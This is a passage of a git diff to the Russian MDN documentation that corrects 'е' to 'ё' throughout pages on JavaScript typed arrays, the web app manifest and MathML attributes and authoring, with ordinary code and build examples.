объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a>) –– это объект, представляющий из себя набор данных. Он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление предоставляет контекст: тип данных, начальную позицию в буфере и количество элементов. Это позволяет представить данные в виде типизированного массива.</p> <p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p> <h3 id="ArrayBuffer">ArrayBuffer</h3> -<p>Объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать типизированный массив или объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a> –– это набор бинарных данных с фиксированной длинной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого, необходимо создать типизированное представление <a href="/ru/docs/Web/JavaScript/Reference/DataView" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.</p> +<p>Объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не даёт. Вместо этого, вы можете создать типизированный массив или объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a> –– это набор бинарных данных с фиксированной длинной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого, необходимо создать типизированное представление <a href="/ru/docs/Web/JavaScript/Reference/DataView" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>, которое будет отображать буфер в определённом формате, и даст доступ на запись и чтение его содержимого.</p> <h3 id="Типизированные_представления">Типизированные представления</h3> -<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих, существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/ru/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p> +<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространённых числовых форматах, таких как <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих, существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/ru/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p> <p>{{page("/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "Объект TypedArray")}}</p> @@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Typed_arrays <h3 id="Множество_представлений_для_одних_и_тех_же_данных">Множество представлений для одних и тех же данных</h3> -<p>Всё становится намного интереснее, если создать несколько разных представлений для одного и того же буфера. Например, приведенный выше код можно дополнить следующим образом:</p> +<p>Всё становится намного интереснее, если создать несколько разных представлений для одного и того же буфера. Например, приведённый выше код можно дополнить следующим образом:</p> <pre class="brush:js">var int16View = new Int16Array(buffer); @@ -83,7 +83,7 @@ for (var i = 0; i < int16View.length; i++) { } </pre> -<p>Здесь мы создаем 16-битное целочисленное представление, которое ссылается на тот же самый буфер, что и 32-битное представление, и затем выводим все 16-битные элементы этого представления. Мы получим следующий вывод: 0, 0, 2, 0, 4, 0, 6, 0.</p> +<p>Здесь мы создаём 16-битное целочисленное представление, которое ссылается на тот же самый буфер, что и 32-битное представление, и затем выводим все 16-битные элементы этого представления. Мы получим следующий вывод: 0, 0, 2, 0, 4, 0, 6, 0.</p> <p>Можно пойти дальше. Оцените этот код:</p> @@ -115,9 +115,9 @@ var idView = new Uint32Array(buffer, 0, 1); var usernameView = new Uint8Array(buffer, 4, 16); var amountDueView = new Float32Array(buffer, 20, 1);</pre> -<p>Теперь получить или изменить значение поля <code>amountDue</code>, к примеру, можно путем обращения к <code>amountDueView[0]</code>.</p> +<p>Теперь получить или изменить значение поля <code>amountDue</code>, к примеру, можно путём обращения к <code>amountDueView[0]</code>.</p> -<div class="note"><strong>Примечание:</strong> <a href="https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D1%80%D0%B0%D0%B2%D0%BD%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85" title="http://en.wikipedia.org/wiki/Data_structure_alignment">Выравнивание данных</a> в языке C является платформозависимым. Принимайте меры по вычислению правильных отступов в данных с учетом выравнивания.</div> +<div class="note"><strong>Примечание:</strong> <a href="https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D1%80%D0%B0%D0%B2%D0%BD%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85" title="http://en.wikipedia.org/wiki/Data_structure_alignment">Выравнивание данных</a> в языке C является платформозависимым. Принимайте меры по вычислению правильных отступов в данных с учётом выравнивания.</div> <h3 id="Преобразование_в_обычные_массивы">Преобразование в обычные массивы</h3> diff --git a/files/ru/web/manifest/background_color/index.html b/files/ru/web/manifest/background_color/index.html index 98b745c6a3..5fa076ac51 100644 --- a/files/ru/web/manifest/background_color/index.html +++ b/files/ru/web/manifest/background_color/index.html @@ -29,7 +29,7 @@ translation_of: Web/Manifest/background_color </tbody> </table> -<p><code>background_color</code> определяет ожидаемый цвет фона для веб-приложения. Это значение повторяет то, что уже доступно в стилях приложения, но может быть использовано браузерами для отрисовки цвета фона приложения после того, как манифест станет доступен, но до того, как стили загрузятся. Это создает плавный переход между запуском приложения и загрузкой содержимого приложения.</p> +<p><code>background_color</code> определяет ожидаемый цвет фона для веб-приложения. Это значение повторяет то, что уже доступно в стилях приложения, но может быть использовано браузерами для отрисовки цвета фона приложения после того, как манифест станет доступен, но до того, как стили загрузятся. Это создаёт плавный переход между запуском приложения и загрузкой содержимого приложения.</p> <p>Therefore <code>background_color</code> should match the {{cssxref("background-color")}} CSS property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.</p> diff --git a/files/ru/web/manifest/icons/index.html b/files/ru/web/manifest/icons/index.html index e9ba3bfe32..c7d608df08 100644 --- a/files/ru/web/manifest/icons/index.html +++ b/files/ru/web/manifest/icons/index.html @@ -73,7 +73,7 @@ translation_of: Web/Manifest/icons <tbody> <tr> <td><code>sizes</code></td> - <td>Строка, содержащая разделенные пробелами размеры изображения.</td> + <td>Строка, содержащая разделённые пробелами размеры изображения.</td> </tr> <tr> <td><code>src</code></td> @@ -94,7 +94,7 @@ translation_of: Web/Manifest/icons <ul> <li><code>badge</code>: Пользовательский агент может представить этот значок там, где ограничения пространства и/или требования к цвету отличаются от таковых для значка приложения.</li> - <li><code>maskable</code>: Изображение разработано с учетом <a href="https://w3c.github.io/manifest/#icon-masks">масок значков и безопасной зоны</a>, так что пользовательский агент может безопасно игнорировать и маскировать любую часть изображения за пределами безопасной зоны.</li> + <li><code>maskable</code>: Изображение разработано с учётом <a href="https://w3c.github.io/manifest/#icon-masks">масок значков и безопасной зоны</a>, так что пользовательский агент может безопасно игнорировать и маскировать любую часть изображения за пределами безопасной зоны.</li> <li><code>any</code>: Пользовательский агент может отображать значок в любом контексте (это значение по умолчанию).</li> </ul> </td> diff --git a/files/ru/web/manifest/index.html b/files/ru/web/manifest/index.html index 1a7eb8beb4..a6dd7f70fb 100644 --- a/files/ru/web/manifest/index.html +++ b/files/ru/web/manifest/index.html @@ -82,7 +82,7 @@ translation_of: Web/Manifest </div> <div class="note"> -<p><strong>Note</strong>: Если для получения манифеста требуются учетные данные - атрибут <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> должен иметь значение <code>"use-credentials"</code>, даже если файл манифеста находится в том же источнике, что и текущая страница.</p> +<p><strong>Note</strong>: Если для получения манифеста требуются учётные данные - атрибут <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> должен иметь значение <code>"use-credentials"</code>, даже если файл манифеста находится в том же источнике, что и текущая страница.</p> </div> <h2 id="Заставки">Заставки</h2> diff --git a/files/ru/web/manifest/related_applications/index.html b/files/ru/web/manifest/related_applications/index.html index d2a9675c31..2eab4c4181 100644 --- a/files/ru/web/manifest/related_applications/index.html +++ b/files/ru/web/manifest/related_applications/index.html @@ -76,7 +76,7 @@ translation_of: Web/Manifest/related_applications </tr> <tr> <td><code>id</code></td> - <td>ID, используемое для представления приложения на определенной платформе.</td> + <td>ID, используемое для представления приложения на определённой платформе.</td> </tr> </tbody> </table> diff --git a/files/ru/web/mathml/attribute/index.html b/files/ru/web/mathml/attribute/index.html index e14849d222..4cb0ccfcc9 100644 --- a/files/ru/web/mathml/attribute/index.html +++ b/files/ru/web/mathml/attribute/index.html @@ -135,7 +135,7 @@ original_slug: Web/MathML/Атрибут <tr id="display"> <td><code>display</code></td> <td>{{ MathMLElement("math") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает режим визуализации.</span></span></span> Допускаются значения <code>block</code> и <code>inline</code>.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт режим визуализации.</span></span></span> Допускаются значения <code>block</code> и <code>inline</code>.</td> </tr> <tr id="displaystyle"> <td><code>displaystyle</code></td> @@ -169,7 +169,7 @@ original_slug: Web/MathML/Атрибут <tr id="form"> <td>{{ unimplemented_inline() }} <code>form</code></td> <td>{{ MathMLElement("mo") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает роль оператора во вложенном выражении.</span></span></span></td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт роль оператора во вложенном выражении.</span></span></span></td> </tr> <tr id="frame"> <td><code>frame</code></td> @@ -179,7 +179,7 @@ original_slug: Web/MathML/Атрибут <tr id="framespacing"> <td><code>framespacing</code></td> <td>{{ MathMLElement("mtable") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает дополнительное пространство, добавленное между таблицей и</span></span></span> <code>frame</code>.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт дополнительное пространство, добавленное между таблицей и</span></span></span> <code>frame</code>.</td> </tr> <tr id="groupalign"> <td>{{ unimplemented_inline() }} <code>groupalign</code></td> @@ -189,7 +189,7 @@ original_slug: Web/MathML/Атрибут <tr id="height"> <td><code>height</code></td> <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает желаемую высоту.</span></span></span> Для возможных значений смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">длины</a>.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт желаемую высоту.</span></span></span> Для возможных значений смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">длины</a>.</td> </tr> <tr id="href"> <td><code>href</code></td> @@ -239,7 +239,7 @@ original_slug: Web/MathML/Атрибут <tr id="infixlinebreakstyle"> <td>{{ unimplemented_inline() }} <code>infixlinebreakstyle</code></td> <td>{{ MathMLElement("mstyle") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает стиль</span></span></span> по умолчанию для <code>linebreakstyle</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>для использования в инфиксных операторах.</span></span></span></td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт стиль</span></span></span> по умолчанию для <code>linebreakstyle</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>для использования в инфиксных операторах.</span></span></span></td> </tr> <tr id="largeop"> <td><code>largeop</code></td> @@ -334,7 +334,7 @@ original_slug: Web/MathML/Атрибут <tr id="movablelimits"> <td><code>movablelimits</code></td> <td>{{ MathMLElement("mo") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Определяет, перемещаются ли присоединенные нижние и верхние индексы на позиции нижних и верхних индексов.</span></span></span></td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Определяет, перемещаются ли присоединённые нижние и верхние индексы на позиции нижних и верхних индексов.</span></span></span></td> </tr> <tr id="notation"> <td><code>notation</code></td> @@ -399,7 +399,7 @@ original_slug: Web/MathML/Атрибут <tr id="scriptminsize"> <td><code>scriptminsize</code></td> <td>{{ MathMLElement("mstyle") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает минимальный размер шрифта, разрешённый из-за изменений в</span></span></span> <code>scriptlevel</code>.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт минимальный размер шрифта, разрешённый из-за изменений в</span></span></span> <code>scriptlevel</code>.</td> </tr> <tr id="scriptsizemultiplier"> <td><code>scriptsizemultiplier</code></td> @@ -429,7 +429,7 @@ original_slug: Web/MathML/Атрибут <tr id="side"> <td>{{ unimplemented_inline() }} <code>side</code></td> <td>{{ MathMLElement("mtable") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает позицию, в которой</span></span></span> {{ MathMLElement("mlabeledtr") }} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>должны быть размещены элементы метки.</span></span></span></td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт позицию, в которой</span></span></span> {{ MathMLElement("mlabeledtr") }} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>должны быть размещены элементы метки.</span></span></span></td> </tr> <tr id="src"> <td>{{ unimplemented_inline() }} <code>src</code></td> @@ -469,7 +469,7 @@ original_slug: Web/MathML/Атрибут <tr id="width"> <td><code>width</code></td> <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}, {{ MathMLElement("mtable") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает желаемую ширину.</span></span></span> Смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">длины</a> для возможных значений.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт желаемую ширину.</span></span></span> Смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">длины</a> для возможных значений.</td> </tr> <tr id="xlink-href"> <td><code>xlink:href</code> {{deprecated_inline}}</td> @@ -479,7 +479,7 @@ original_slug: Web/MathML/Атрибут <tr id="xmlns"> <td><code>xmlns</code></td> <td>{{ MathMLElement("math") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает URI для пространства имен MathML</span></span></span> (<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>)</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт URI для пространства имён MathML</span></span></span> (<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>)</td> </tr> </tbody> </table> diff --git a/files/ru/web/mathml/authoring/index.html b/files/ru/web/mathml/authoring/index.html index 765b420c47..f330d22d50 100644 --- a/files/ru/web/mathml/authoring/index.html +++ b/files/ru/web/mathml/authoring/index.html @@ -10,7 +10,7 @@ translation_of: Web/MathML/Authoring --- <p>Эта страница объясняет, как записать математические выражения при помощи языка MathML. Подобно HTML, основными элементами языка MathML являются теги и атрибуты. Документ HTML становится сложным, когда он содержит структуры, подобные спискам или таблицам, но, к счастью, существует много генераторов на основе простых систем обозначений, WYSIWYG редакторы и другие системы управления контентом, помогающие создавать Web страницы.</p> -<p>Математические обозначения еще более сложны со структурами такими, как дроби, квадратные корни или матрицы, которые, вероятно, потребуют собственных тегов. Поэтому инструменты разработки, связанные с MathML, очень важны. Некоторые из этих инструментов мы описываем ниже. В частности, команда Mozilla MathML разрабатывала <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a> (Javascript Unicode LaTeX-to-MathML конвертер), который предназначен для использования во многих сценариях, описанных здесь. Конечно, этот список ни в коем случае не является исчерпывающим и вам предлагается проверить <a class="external" href="http://www.w3.org/Math/Software/">W3C MathML software list</a>, где вы можете найти некоторые другие инструменты.</p> +<p>Математические обозначения ещё более сложны со структурами такими, как дроби, квадратные корни или матрицы, которые, вероятно, потребуют собственных тегов. Поэтому инструменты разработки, связанные с MathML, очень важны. Некоторые из этих инструментов мы описываем ниже. В частности, команда Mozilla MathML разрабатывала <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a> (Javascript Unicode LaTeX-to-MathML конвертер), который предназначен для использования во многих сценариях, описанных здесь. Конечно, этот список ни в коем случае не является исчерпывающим и вам предлагается проверить <a class="external" href="http://www.w3.org/Math/Software/">W3C MathML software list</a>, где вы можете найти некоторые другие инструменты.</p> <p>Заметим, что MathML хорошо интегрирован в HTML5. В частности, вы можете использовать обычные Web-инструменты, такие как CSS, DOM, Javascript или SVG. Данная тема выходит за рамки этого документа, но любой, у кого есть базовые знания Web-языков, сможет легко совместить эти инструменты с MathML. Ознакомьтесь с <a href="/ru/docs/Mozilla/MathML_Project#Sample_MathML_Documents" title="/ru/docs/Mozilla/MathML_Project#Sample_MathML_Documents">нашими примерами</a> и <a href="https://developer.mozilla.org/ru/docs/Web/MathML" title="ru/MathML/Element">справочными данными по MathML</a> для получения более подробной информации.</p> @@ -45,7 +45,7 @@ translation_of: Web/MathML/Authoring <h4 id="Варианты_для_браузеров_без_поддержки_MathML">Варианты для браузеров без поддержки MathML</h4> -<p>К сожалению, некоторые браузеры не могут отображать выражения MathML или имеют ограниченную поддержку. Следовательно, вам нужно будет использовать полифил MathML, чтобы обеспечить некоторый резервный рендеринг. Если вам нужны только базовые математические конструкции, такие как те, которые используются в этой MDN wiki, тогда небольшой таблицы стилей <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> возможно будет достаточно. Для ее использования, просто вставьте одну строку в заголовок вашего документа:</p> +<p>К сожалению, некоторые браузеры не могут отображать выражения MathML или имеют ограниченную поддержку. Следовательно, вам нужно будет использовать полифил MathML, чтобы обеспечить некоторый резервный рендеринг. Если вам нужны только базовые математические конструкции, такие как те, которые используются в этой MDN wiki, тогда небольшой таблицы стилей <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> возможно будет достаточно. Для её использования, просто вставьте одну строку в заголовок вашего документа:</p> <pre class="brush: html"><script src="http://fred-wang.github.io/mathml.css/mspace.js"></script></pre> @@ -57,7 +57,7 @@ translation_of: Web/MathML/Authoring <pre class="brush: html"><script src="http://fred-wang.github.io/mathml-warning.js/mpadded-min.js"></script></pre> -<p>Если вы не хотите использовать эту ссылку на GitHub, но вместо этого хотите интегрировать эти полифилы или нечто другое в свой проект, тогда вам может понадобиться скрипт, проверяющий уровень поддержки MathML. Например, следующая функция проверяет поддержку MathML путем тестирования элемента mspace (вы можете заменить <code>mspace</code> на <code>mpadded</code>):</p> +<p>Если вы не хотите использовать эту ссылку на GitHub, но вместо этого хотите интегрировать эти полифилы или нечто другое в свой проект, тогда вам может понадобиться скрипт, проверяющий уровень поддержки MathML. Например, следующая функция проверяет поддержку MathML путём тестирования элемента mspace (вы можете заменить <code>mspace</code> на <code>mpadded</code>):</p> <pre class="brush: js"> function hasMathMLSupport() { var div = document.createElement("div"), box; @@ -68,7 +68,7 @@ translation_of: Web/MathML/Authoring return Math.abs(box.height - 23) <= 1 && Math.abs(box.width - 77) <= 1; }</pre> -<p>В качестве альтернативы, следующий анализ строки UA позволит определить движок рендеринга с родной поддержкой MathML (Gecko и WebKit). Обратите внимание, что анализ строки UA является не самым надежным методом и может сбоить от версии к версии:</p> +<p>В качестве альтернативы, следующий анализ строки UA позволит определить движок рендеринга с родной поддержкой MathML (Gecko и WebKit). Обратите внимание, что анализ строки UA является не самым надёжным методом и может сбоить от версии к версии:</p> <pre class="brush: js">var ua = navigator.userAgent; var isGecko = ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1 && ua.indexOf('Trident') === -1; @@ -95,7 +95,7 @@ m|math { <h4 id="MathML_в_документах_XML_(XHTML_EPUB_и_т.д.)">MathML в документах XML (XHTML, EPUB, и т.д.)</h4> -<p>Если по какой-то причине вам нужно использовать MathML в документах XML, обязательно выполняйте обычные требования: хорошо сформированный документ, использование правильного MIME-типа, пространство имен MathML <code>"http://www.w3.org/1998/Math/MathML"</code> с корневым элементом <code><math></code>. Например, версия XHTML предыдущего примера выглядит так:<br> +<p>Если по какой-то причине вам нужно использовать MathML в документах XML, обязательно выполняйте обычные требования: хорошо сформированный документ, использование правильного MIME-типа, пространство имён MathML <code>"http://www.w3.org/1998/Math/MathML"</code> с корневым элементом <code><math></code>. Например, версия XHTML предыдущего примера выглядит так:<br> </p> <pre class="brush: xml"><?xml version="1.0" encoding="UTF-8"?> @@ -136,7 +136,7 @@ m|math { <ul> <li>Для написания математических выражений может потребоваться только стандартный текстовый редактор.</li> <li>Доступны многие инструменты, некоторые из которых совместимы с классическим рабочим процессом LaTeX-to-pdf.</li> - <li>Это дает доступ к расширенным возможностям макросов, подобных макросам LaTeX.</li> + <li>Это даёт доступ к расширенным возможностям макросов, подобных макросам LaTeX.</li> </ul> </li> <li>минусы: @@ -161,7 +161,7 @@ m|math { </li> <li>минусы: <ul> - <li>Это не будет работать, если у пользователя отключен Javascript.</li> + <li>Это не будет работать, если у пользователя отключён Javascript.</li> <li>Код MathML не поддерживается Web-сканерами (например, средствами математического поиска или новостными агрегаторами). В частности, ваш контент не будет отображаться правильно на Planet.</li> <li>Конвертация должна выполняться при каждой загрузке страницы, может быть медленной и может конфликтовать с парсингом HTML (например, "<" для тегов или "$" для денежных сумм)</li> <li>Возможно вам понадобится синхронизировать Javascript-конвертер с другими программами Javascript на вашей странице.</li> @@ -173,7 +173,7 @@ m|math { <pre><span class="brush: html"><<span class="start-tag">x-tex</span>></span><span>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</span><span class="brush: html"></<span class="end-tag">x-tex</span>></span></pre> -<p>и автоматически преобразуется в MathML. Это все еще в процессе разработки и может быть улучшено в будущем благодаря Web-компонентам и DOM. Кроме того, вы можете использовать более традиционный <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript парсинг выражений в процессе загрузки</a> как это используют и все другие инструменты, описанные в этом разделе.</p> +<p>и автоматически преобразуется в MathML. Это все ещё в процессе разработки и может быть улучшено в будущем благодаря Web-компонентам и DOM. Кроме того, вы можете использовать более традиционный <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript парсинг выражений в процессе загрузки</a> как это используют и все другие инструменты, описанные в этом разделе.</p> <p>Одним из простых инструментов конвертации на стороне клиента является <a href="http://www1.chapman.edu/~jipsen/mathml/asciimath.html" title="http://www1.chapman.edu/~jipsen/mathml/asciimath.html">ASCIIMathML</a>. Просто загрузите скрипт <a href="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js" title="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js">ASCIIMathML.js</a> и скопируйте его на ваш Web-сайт. Затем на ваших веб-страницах добавьте тег <code><script></code> для загрузки ASCIIMathML и математические выражения, выделенные символом <code>`</code> (знак акцента) будут автоматически обработаны и преобразованы в MathML:</p> @@ -221,11 +221,11 @@ This is a sample LaTeXML document. </div> ...</pre> -<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> - это еще один скрипт для парсинга простого LaTeX-подобного синтаксиса, который также принимает не-ASCII символы, такие как <code>√{∑↙{n=1}↖{+∞} 6/n^2} = π</code> , чтобы написать <math> <mrow> <msqrt> <mrow class="ma-repel-adj"> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>π</mi> </mrow> </math>. Установка похожа: загрузите и скопируйте соответствующие файлы <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript и CSS files</a> на ваш Web сайт и сделайте ссылку на них в заголовке вашей страницы (смотрите файл <code>COPY-ME.html</code> из архива zip в качестве примера). Одним из преимуществ jqMath над предыдущими сценариями является то, что он автоматически добавит некоторые простые правила CSS для математической разметки и сделает формулы доступными для браузеров с ограниченной поддержкой MathML.</p> +<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> - это ещё один скрипт для парсинга простого LaTeX-подобного синтаксиса, который также принимает не-ASCII символы, такие как <code>√{∑↙{n=1}↖{+∞} 6/n^2} = π</code> , чтобы написать <math> <mrow> <msqrt> <mrow class="ma-repel-adj"> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>π</mi> </mrow> </math>. Установка похожа: загрузите и скопируйте соответствующие файлы <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript и CSS files</a> на ваш Web сайт и сделайте ссылку на них в заголовке вашей страницы (смотрите файл <code>COPY-ME.html</code> из архива zip в качестве примера). Одним из преимуществ jqMath над предыдущими сценариями является то, что он автоматически добавит некоторые простые правила CSS для математической разметки и сделает формулы доступными для браузеров с ограниченной поддержкой MathML.</p> <h3 id="Программы_командной_строки">Программы командной строки</h3> -<p>Альтернативный способ - парсить простой синтаксис перед публикацией ваших Web-страниц. В этом случае вы используете программы командной строки для создания и публикации этих статических страниц на своем сервере.</p> +<p>Альтернативный способ - парсить простой синтаксис перед публикацией ваших Web-страниц. В этом случае вы используете программы командной строки для создания и публикации этих статических страниц на своём сервере.</p> <ul> <li>плюсы: @@ -238,13 +238,13 @@ This is a sample LaTeXML document. <li>минусы: <ul> <li>Это требует установки программ на вашем компьютере, что может быть немного сложнее или они могут быть доступны не для всех платформ.</li> - <li>Вы должны запускать программы на своем компьютере и иметь какой-то рабочий процесс для получения веб-страниц в конце; это может быть немного утомительно.</li> + <li>Вы должны запускать программы на своём компьютере и иметь какой-то рабочий процесс для получения веб-страниц в конце; это может быть немного утомительно.</li> <li>Двоичные программы не подходят для их интеграции в расширение Mozilla или приложение XUL.</li> </ul> </li> </ul> -<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> может использоваться <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">из командной строки</a> и будет, по существу, иметь ту же поддержку, что и itex2MML, описанный ниже. Однако поведение фильтра потока еще не реализовано.</p> +<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> может использоваться <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">из командной строки</a> и будет, по существу, иметь ту же поддержку, что и itex2MML, описанный ниже. Однако поведение фильтра потока ещё не реализовано.</p> <p>Если вы хотите просто парсить простые математические выражения LaTeX, вы можете попробовать такие инструменты, как <a href="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html" title="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html">itex2MML</a> или <a href="http://gva.noekeon.org/blahtexml/" title="http://gva.noekeon.org/blahtexml/">Blahtex</a>. Последнее часто доступно в дистрибутивах Linux. Давайте рассмотрим первое, которое изначально было написано Полом Гартсайдом в начале проекта Mozilla MathML и с тех пор поддерживается Жаком Дистлером. Это небольшой фильтр потока, написанный на C/C++ и сгенерированный с помощью flex и bison; в частности, оно очень быстрое. Установите flex/bison, а также классический компилятор и сгенерируйте инструменты. В Unix вы можете загрузить itex2MML, скомпилировать и установить его:</p> @@ -255,7 +255,7 @@ make sudo make install </pre> -<p>Теперь предположим, что у вас есть HTML страница с фрагментами TeX, разделенными долларами:</p> +<p>Теперь предположим, что у вас есть HTML страница с фрагментами TeX, разделёнными долларами:</p> <pre class="brush: html">input.html @@ -272,7 +272,7 @@ sudo make install <pre>cat input.html | itex2MML > output.html</pre> -<p>Существуют еще более содержательные инструменты для преобразования произвольных документов LaTeX в HTML+MathML. Например, <a href="https://www.tug.org/tex4ht/">TeX4ht</a> часто включается в дистрибутивы TeX и имеет возможность использовать MathML вместо изображений PNG. Эта команда создаст XHTML+MathML документ foo.xml из LaTeX исходника foo.tex:</p> +<p>Существуют ещё более содержательные инструменты для преобразования произвольных документов LaTeX в HTML+MathML. Например, <a href="https://www.tug.org/tex4ht/">TeX4ht</a> часто включается в дистрибутивы TeX и имеет возможность использовать MathML вместо изображений PNG. Эта команда 